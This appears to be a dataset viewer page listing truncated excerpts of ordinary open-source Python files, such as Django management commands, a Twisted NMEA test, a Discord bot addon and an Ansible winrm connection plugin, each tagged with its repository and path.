gabrielfalcao/lettuce | refs/heads/master | tests/integration/lib/Django-1.3/django/core/management/commands/makemessages.py | 154 | import fnmatch
import glob
import os
import re
import sys
from itertools import dropwhile
from optparse import make_option
from subprocess import PIPE, Popen
from django.core.management.base import CommandError, NoArgsCommand
from django.utils.text import get_text_list
pythonize_re = re.compile(r'(?:^|\n)\s*//')
plur... |
catcosmo/froide | refs/heads/master | froide/helper/auth_migration_util.py | 6 | from django.conf import settings
def get_app_model(db_name):
a, m = db_name.split('_')
return '%s.%s' % (a, m.title())
USER_DB_NAME = getattr(settings, 'CUSTOM_AUTH_USER_MODEL_DB', None) or 'account_user'
APP_MODEL = get_app_model(USER_DB_NAME)
APP_MODEL_NAME = APP_MODEL.lower()
|
kaplun/invenio | refs/heads/master | modules/websearch/lib/websearch_external_collections_config.py | 26 | # -*- coding: utf-8 -*-
##
## This file is part of Invenio.
## Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## ... |
MrLoick/python-for-android | refs/heads/master | python-modules/twisted/twisted/test/test_nmea.py | 81 | # Copyright (c) 2001-2004 Twisted Matrix Laboratories.
# See LICENSE for details.
"""Test cases for the NMEA GPS protocol"""
import StringIO
from twisted.trial import unittest
from twisted.internet import reactor, protocol
from twisted.python import reflect
from twisted.protocols.gps import nmea
class StringIOWi... |
IKholopov/HackUPC2017 | refs/heads/master | hackupc/env/lib/python3.5/site-packages/django/contrib/admin/actions.py | 66 | """
Built-in, globally-available admin actions.
"""
from django.contrib import messages
from django.contrib.admin import helpers
from django.contrib.admin.utils import get_deleted_objects, model_ngettext
from django.core.exceptions import PermissionDenied
from django.db import router
from django.template.response impo... |
signed/intellij-community | refs/heads/master | python/testData/intentions/typeAssertion.py | 166 | def foo(a, b):
a<caret>.
b = 1 |
FrozenChen/Kurisu | refs/heads/master | addons/load.py | 6 | #Importing libraries
import discord
from discord.ext import commands
from sys import argv
class Load:
"""
Load commands.
"""
def __init__(self, bot):
self.bot = bot
print('Addon "{}" loaded'.format(self.__class__.__name__))
# Load test
@commands.has_permissions(ban_members=True... |
rainysia/dotfiles | refs/heads/master | doc/python/test/exception1.py | 1 | #!/usr/bin/env python
# coding=utf-8
class MuffledCalc:
muffled = False
def calc(self, expr):
try:
return eval(expr)
except ZeroDivisionError:
if self.muffled:
print 'Division by zero is illegal!'
else:
raise
ca = MuffledCalc(... |
GheRivero/ansible | refs/heads/devel | lib/ansible/plugins/connection/winrm.py | 3 | # (c) 2014, Chris Church <chris@ninemoreminutes.com>
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = """
author: Ansible Core Te... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.